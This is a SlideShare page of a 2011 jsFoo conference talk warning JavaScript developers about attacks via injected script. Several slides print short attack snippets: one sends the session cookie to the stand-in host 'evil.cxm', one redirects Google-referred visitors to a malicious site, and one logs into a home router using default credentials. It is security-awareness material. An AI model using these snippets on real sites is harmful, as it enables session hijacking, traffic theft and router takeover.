Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
JAVASCRIPT goneWILD<br />AkashMahajan | jsFoo 2011 <br />
WARNING<br />NSFW<br />Don’t say I didn’t warn you. This presentation is Not Safe For Work.<br />
Don’t worry<br />I swear this presentation doesn’t have dirty pictures in it.<br />No Dirty Pictures<br />
DISCLAIMER<br />Tech Lite<br />This presentation is low on technical content. <br />
Why bother?<br />INCEPTION<br />Planting the seed of an idea.<br />
What is the idea?<br />JavaScript code showing up in unexpected places can have unintended consequences.<br />Can you have...
Wild Idea #1<br />Stealing a session cookie<br /><script> <br />ifrm = document.createElement("IFRAME");<br />ifrm.setAttr...
Wild Idea #1.5<br />One can steal username and password with JS in a login form.<br />
Wilder Idea #2<br />Stealing the Google page rank<br /> if(document.referrer == 'google')  {<br />varlocationurl = 'http:/...
Wilder Idea #2.5<br />What if the JavaScript redirects users to a malicious download page?<br />
Wildest Idea #3<br />Login to an internal ADSL router website using a default username and password.<br />varloginUrl = ‘h...
Wildest Idea #3.5<br />Allowing untrusted code in the browser is not the smartest thing to do.<br />
His WILDNESS!!!<br />SamyKamkar wrote JS code to get more friends in MySpace. <br />At one point he had over a millionfrie...
Jumping to conclusions<br />JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside ...
PIMPING MYSELF/ QnA<br />AkashMahajan<br />Web Security Consultant<br />http://akashm.com | @makash<br />akashmahajan@gmai...
References, Attribution<br />Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black Hat 2006 c...
Upcoming SlideShare
Loading in …5
×

Javascript Gone Wild

4,598 views

Published on

This was delivered as a talk was given at jsFoo 2011 in Bangalore, India.

The presentation is a gentle introduction to JavaScript developers about how devastating JavaScript can be when used in unforseen places.

Three main attacks are mentioned.
1. Using JS for cookie stealing.
2. Using JS for stealing Google page rank.
3. Using JS for logging into ADSL routers without any user intervention.

Also mentioned is the MySpace XSS worm by Samy Kamkar. A lot of the original research for this has been done by Jeremiah Grossman.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Javascript Gone Wild

  1. JAVASCRIPT goneWILD<br />AkashMahajan | jsFoo 2011 <br />
  2. WARNING<br />NSFW<br />Don’t say I didn’t warn you. This presentation is Not Safe For Work.<br />
  3. Don’t worry<br />I swear this presentation doesn’t have dirty pictures in it.<br />No Dirty Pictures<br />
  4. DISCLAIMER<br />Tech Lite<br />This presentation is low on technical content. <br />
  5. Why bother?<br />INCEPTION<br />Planting the seed of an idea.<br />
  6. What is the idea?<br />JavaScript code showing up in unexpected places can have unintended consequences.<br />Can you have fun and profit from this somehow?<br />
  7. Wild Idea #1<br />Stealing a session cookie<br /><script> <br />ifrm = document.createElement("IFRAME");<br />ifrm.setAttribute("src","http://evil.cxm/cookiestealer?stolencookie" + document.cookie);<br />document.body.appendChild(ifrm);<br /></script><br />Firesheep also does session hijacking by stealing cookies in transit.<br />
  8. Wild Idea #1.5<br />One can steal username and password with JS in a login form.<br />
  9. Wilder Idea #2<br />Stealing the Google page rank<br /> if(document.referrer == 'google') {<br />varlocationurl = 'http://evil.cxm/google1.php';<br />location.href = locationurl;<br /> }<br />Do you regularly check the link you get from google to your site?<br />
  10. Wilder Idea #2.5<br />What if the JavaScript redirects users to a malicious download page?<br />
  11. Wildest Idea #3<br />Login to an internal ADSL router website using a default username and password.<br />varloginUrl = ‘http://admin:admin@192.168.1.1/’; <br />document.location = loginUrl;<br />Obviously you all have changed the default password long back, right<br />
  12. Wildest Idea #3.5<br />Allowing untrusted code in the browser is not the smartest thing to do.<br />
  13. His WILDNESS!!!<br />SamyKamkar wrote JS code to get more friends in MySpace. <br />At one point he had over a millionfriends in less than 24 hours<br />
  14. Jumping to conclusions<br />JavaScript can be pretty wild if it shows up in unexpected places. The very idea that outside code is allowed execution in the browser is radical and dangerous. <br />
  15. PIMPING MYSELF/ QnA<br />AkashMahajan<br />Web Security Consultant<br />http://akashm.com | @makash<br />akashmahajan@gmail.com | 9980527182<br />
  16. References, Attribution<br />Image on slide 12 has been taken from a presentation by Jeremiah Grossman at Black Hat 2006 conference. <br />http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf<br />Image on slide 13 has been taken from http://www.flickr.com/photos/iscteiul/ . The image is available for reuse under Creative Commons.<br />Some Reference Links<br />JavaScript History Stealing Attack<br />http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html<br />Samy is my Hero – MySpace XSS Worm<br />http://namb.la/popular/tech.html<br />JavaScript to steal session cookies<br />http://jehiah.cz/a/xss-stealing-cookies-101<br />http://www.go4expert.com/forums/showthread.php?t=17066<br />http://www.criticalsecurity.net/index.php/topic/7137-how-to-make-a-cookie-stealer/<br />Trailer of the Movie ‘The Dirty Picture’<br />http://www.youtube.com/thedirtypicturefilm<br />Ending of the movie inception explained.<br />http://screenrant.com/inception-spoilers-discussion-kofi-68330/<br />06-Grossman.pdf<br />

×